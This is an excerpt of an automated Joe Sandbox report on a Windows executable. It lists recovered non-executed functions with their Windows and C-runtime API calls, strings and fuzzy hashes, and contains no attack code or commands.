Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9c850ec0e91a3c36dd67a082f4f7d32c48f886c19389c1b26b24c46edd12351b
Instruction ID: 296af64e42b6e696f0d0e08a6d24f3f21c8272c38d7071ba853e117f42ce0d88
Opcode Fuzzy Hash: 9c850ec0e91a3c36dd67a082f4f7d32c48f886c19389c1b26b24c46edd12351b
Instruction Fuzzy Hash: 3AF08122A0874399FB288B30E4403B966A0DB04F79F696334D779C15E5DFA9DDA58380

Non-executed Functions

Function 00007FF60638E91C Relevance: 43.2, APIs: 22, Strings: 2, Instructions: 1205COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF60638FCC4

Part of subcall function 00007FF60638AEE0: LoadStringW.USER32 ref: 00007FF60638AF67
Part of subcall function 00007FF60638AEE0: LoadStringW.USER32 ref: 00007FF60638AF80

Part of subcall function 00007FF60639EC2C: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF60638FBC5), ref: 00007FF60639EC60
Part of subcall function 00007FF60639EC2C: SetLastError.KERNEL32 ref: 00007FF60639ECA3

Part of subcall function 00007FF6063812BC: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6063813B6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC2C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC32
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC38
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC3E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC44
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC4A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC50
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC56
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC5C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC62
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC68
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC6E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC74
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC7A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC80
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC86
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC8C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FC92
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FCCE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638FCD4

Strings

%ls, xrefs: 00007FF60638EB48, 00007FF60638EB9B
%s: %s, xrefs: 00007FF60638F3AD

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastLoadString$Concurrency::cancel_current_taskInit_thread_footer
String ID: %ls$%s: %s
API String ID: 2539828978-2259941744
Opcode ID: 1f2844f007cb53a30dd4d30b0c80e663d4b15e2704c23efd67c5de4fa8a4db10
Instruction ID: 210304b7c10141a8e3b2973216f0b82cafe161ce97713d3f68ddee4b616c9682
Opcode Fuzzy Hash: 1f2844f007cb53a30dd4d30b0c80e663d4b15e2704c23efd67c5de4fa8a4db10
Instruction Fuzzy Hash: 5DB2C562E1878245EA189B25D4541FAA361EFC57D0F20633AE69DC37F6EE6EE140C780

Function 00007FF6063B59E0 Relevance: 22.3, APIs: 8, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B60A2
memcpy_s.LIBCMT ref: 00007FF6063B6A4F
memcpy_s.LIBCMT ref: 00007FF6063B6AF6

Part of subcall function 00007FF6063B6D4C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B6D7E

memcpy_s.LIBCMT ref: 00007FF6063B6BBF

Part of subcall function 00007FF6063B0510: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B0535

Strings

1#IND, xrefs: 00007FF6063B6C3A
1#QNAN, xrefs: 00007FF6063B6C78
1#SNAN, xrefs: 00007FF6063B6C59
1#INF, xrefs: 00007FF6063B6C97

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 1759834784-2761157908
Opcode ID: 9299a3169d015825bf4d3bc5b4bd651bd176d2d756bbc2b925d21ab17e7b8838
Instruction ID: 03acbadc23a0c3add96f0f577490640695934557ead5275790d829ad6b633222
Opcode Fuzzy Hash: 9299a3169d015825bf4d3bc5b4bd651bd176d2d756bbc2b925d21ab17e7b8838
Instruction Fuzzy Hash: 7CB2E972E089828BE76D8E25D4416FD37A1FB85388F647135DB0AD7B85DF3AE5048B80

Function 00007FF6063872AC Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF60638730E
GetFullPathNameW.KERNEL32 ref: 00007FF60638735A
GetFullPathNameW.KERNEL32 ref: 00007FF606387477
GetFullPathNameW.KERNEL32 ref: 00007FF6063874BC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638762C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606387632
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606387638
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638763E

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: FullNamePath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1693479884-0
Opcode ID: c5592b693c74ccad0e5d78d632396af68d872ce8b1fec77960f8407698a9532c
Instruction ID: 866cc81844a7db773cb5fab5b43d92f494c5903496c98716a69a14c8363577f1
Opcode Fuzzy Hash: c5592b693c74ccad0e5d78d632396af68d872ce8b1fec77960f8407698a9532c
Instruction Fuzzy Hash: 72A1D462F14B5289FF088B7988445BC2372AB44BE4B746235DE2D97BD9DFBDE4418280

Function 00007FF6063A6940 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6063A695C
RtlCaptureContext.KERNEL32 ref: 00007FF6063A6989
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6063A69A3
RtlVirtualUnwind.KERNEL32 ref: 00007FF6063A69E4
IsDebuggerPresent.KERNEL32 ref: 00007FF6063A6A38
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6063A6A59
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6063A6A64

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 5f39327fa42525bc33200ed161c8229643c86edd9f1335a814b99d0019b01ea8
Instruction ID: e833c88a59e9e2d895e4ad266990f03a677baed5d67a58cb52db2ee3aa4987b2
Opcode Fuzzy Hash: 5f39327fa42525bc33200ed161c8229643c86edd9f1335a814b99d0019b01ea8
Instruction Fuzzy Hash: 1D315C72608B818AEB648F60E8503ED7364FB85748F54503ADB8E87B99DF3DD648C750

Function 00007FF6063AAC68 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6063AACE1
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6063AACF9
RtlVirtualUnwind.KERNEL32 ref: 00007FF6063AAD34
IsDebuggerPresent.KERNEL32 ref: 00007FF6063AAD6D
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6063AAD77
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6063AAD82

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 2759f8db754f876dc0f97b654b135c0d6c98d8b2746f43aa6ee3cc8681b6d2d7
Instruction ID: 8a8b1e28f768546c5ed8e54fb30ba4b9181de1733354cc2e06be233c9eb2b8c6
Opcode Fuzzy Hash: 2759f8db754f876dc0f97b654b135c0d6c98d8b2746f43aa6ee3cc8681b6d2d7
Instruction Fuzzy Hash: 1C319136608F8186DB64CF25E8402AE73A0FB88758F601135EA8D87B69DF3DC545CB40

Function 00007FF6063B2F24 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6063B2F54

Part of subcall function 00007FF6063AAEC4: GetCurrentProcess.KERNEL32(00007FF6063B415D), ref: 00007FF6063AAEF1

Strings

., xrefs: 00007FF6063B3374
*?, xrefs: 00007FF6063B2F7B

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 0397e87bc1f9fe8d1eb93a7313c01eb3b20dabc7e7d4e6101e5a9de111c5d93d
Instruction ID: e8f52669226c3ed133df4434cead80ed517470948cea3e0182c56ce0eb5f774c
Opcode Fuzzy Hash: 0397e87bc1f9fe8d1eb93a7313c01eb3b20dabc7e7d4e6101e5a9de111c5d93d
Instruction Fuzzy Hash: 5051D162B14EA581FB18DFA298004B967A4FF44BD8B646531DF1E97B85DF3ED0428340

Function 00007FF6063B5510 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF6063B559B

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction ID: b69f1b8b166088117f6fd2475cc662657bd0f3f63eb3516e32801b67c70b66d6
Opcode Fuzzy Hash: b531b63a04a12e36dec63d06dc2411054f876835da8b044adf2bb9f605172619
Instruction Fuzzy Hash: F2D1E472B1868687DB38CF15E18466AB7A1FB88794F24A134CB4E97B44DF3DE801CB40

Function 00007FF606383BF8 Relevance: 4.5, APIs: 3, Instructions: 36windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00007FF60638FD53), ref: 00007FF606383C05
FormatMessageW.KERNEL32(?,?,?,?,?,?,00000000,00007FF60638FD53), ref: 00007FF606383C39
LocalFree.KERNEL32(?,?,?,?,?,?,00000000,00007FF60638FD53), ref: 00007FF606383C63

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID:
API String ID: 1365068426-0
Opcode ID: 684dc38ac55c5e82846154b96ca5d63968fe70dc8924e915fe5da19121ede087
Instruction ID: 157e2be075c0ef9d92fe5366f5c18067d64ec3945ca468ac63de0ae7b5fbd720
Opcode Fuzzy Hash: 684dc38ac55c5e82846154b96ca5d63968fe70dc8924e915fe5da19121ede087
Instruction Fuzzy Hash: F4016271B0CB4686E7188F66B88017AA3A1FB89BC0F586038EA4EC7B55DF7DD5058780

Function 00007FF6063B3130 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

., xrefs: 00007FF6063B3374

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 235d398572f0be20e3fb8c6319951830835c2244ab5eef47411310ef9754f573
Instruction ID: ac6c3d4cecb843377f5148a00ff22d1b10182f44c67d2289f01ae004154c94b3
Opcode Fuzzy Hash: 235d398572f0be20e3fb8c6319951830835c2244ab5eef47411310ef9754f573
Instruction Fuzzy Hash: 72312D22B08A9145FB249B32D8057BA6B95EB44BE4F24A335EF6C87BC5CE3DD5018340

Function 00007FF6063B9008 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF6063B9255
RaiseException.KERNEL32 ref: 00007FF6063B9266

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: d4849b446cfebff07557885922af6d4c071b7d011b782ff7bb17459a6eb955de
Instruction ID: c1051dab70678e4f82a6371769c61bff3b00aec02d746b709aa9a75648260cea
Opcode Fuzzy Hash: d4849b446cfebff07557885922af6d4c071b7d011b782ff7bb17459a6eb955de
Instruction Fuzzy Hash: 7DB15F73A14B898BEB19CF29C88536C3BA0F785B48F299921DB5D877A4CF3AD451C740

Function 00007FF60639CA30 Relevance: 3.2, APIs: 2, Instructions: 186COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60639C21C: GetDC.USER32 ref: 00007FF60639C228
Part of subcall function 00007FF60639C21C: GetDeviceCaps.GDI32 ref: 00007FF60639C239
Part of subcall function 00007FF60639C21C: ReleaseDC.USER32 ref: 00007FF60639C246

GetObjectW.GDI32 ref: 00007FF60639CA84

Part of subcall function 00007FF60639CCEC: GetDC.USER32 ref: 00007FF60639CD15
Part of subcall function 00007FF60639CCEC: GetObjectW.GDI32 ref: 00007FF60639CD43
Part of subcall function 00007FF60639CCEC: ReleaseDC.USER32 ref: 00007FF60639CDF7

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ObjectRelease$CapsDevice
String ID:
API String ID: 1061551593-0
Opcode ID: a39c6f5289eeb3ccdb5d0bd3d1d8e799027f00d468a18c17e9e0985c25432a47
Instruction ID: 6f999567074d7919f205aac337681980f99c2505eb3b639dcdc6e2aea46133a3
Opcode Fuzzy Hash: a39c6f5289eeb3ccdb5d0bd3d1d8e799027f00d468a18c17e9e0985c25432a47
Instruction Fuzzy Hash: BF810E36B18A458AEB14CF6AD4806AD7771FB88B88F206136DE0E97764DF3DD505C780

Function 00007FF60639DE44 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32 ref: 00007FF60639DE8D
GetNumberFormatW.KERNEL32 ref: 00007FF60639DEE9

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 8ec788ba47fdf6df10e78e7ac2cd74069c16868f0c385ff3f057b0f2eb63ee47
Instruction ID: 81de82ac26dcb933d8f748d6fb385276ab18eb4046a70b2c2371c65c6c6bfbd9
Opcode Fuzzy Hash: 8ec788ba47fdf6df10e78e7ac2cd74069c16868f0c385ff3f057b0f2eb63ee47
Instruction Fuzzy Hash: 31118172A18B8595E7258F21E8403E9B360FF88B54F946135EA8D83768DF3CE645CB84

Function 00007FF606386768 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00007FF606386799

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 4077126cdc8ab987fc50741f9daa8f64bdc94cd5a3d95bfaac1a76796dfe440a
Instruction ID: 3c65cbb693eac262b5cdc0ca71f362359194ab100685b3c0b6f6d736ef114f0c
Opcode Fuzzy Hash: 4077126cdc8ab987fc50741f9daa8f64bdc94cd5a3d95bfaac1a76796dfe440a
Instruction Fuzzy Hash: 5E010C759086428BE6289B14F85137673E1FB98754F602234F65EC67A4DF7EE5018F80

Function 00007FF6063AC074 Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF6063AC22B

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 9d335eb4e928305fcc536e7a574871e99efd96511b41f203bfcc60166aca6fdf
Instruction ID: 858a7b10fabd11652c246b63632e8734b097fca378d117598829c539e7f28fb7
Opcode Fuzzy Hash: 9d335eb4e928305fcc536e7a574871e99efd96511b41f203bfcc60166aca6fdf
Instruction Fuzzy Hash: 2181CF32B1824646EEBC8A25948067E63A0EF45B44F743931ED4AD7695CF2FE846E7C0

Function 00007FF6063ABDF8 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FF6063ABF92

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
Instruction ID: 8fba902c5826c4b9e7f94ab36979414638e74a2eabe35c4b84e8018bab8cbaab
Opcode Fuzzy Hash: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
Instruction Fuzzy Hash: 2071E535A0C24246FF6C8A29504467DA7D0AF41744F383539DE0AD76DACF2FE846ABC1

Function 00007FF6063AFD18 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

@, xrefs: 00007FF6063AFD54

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
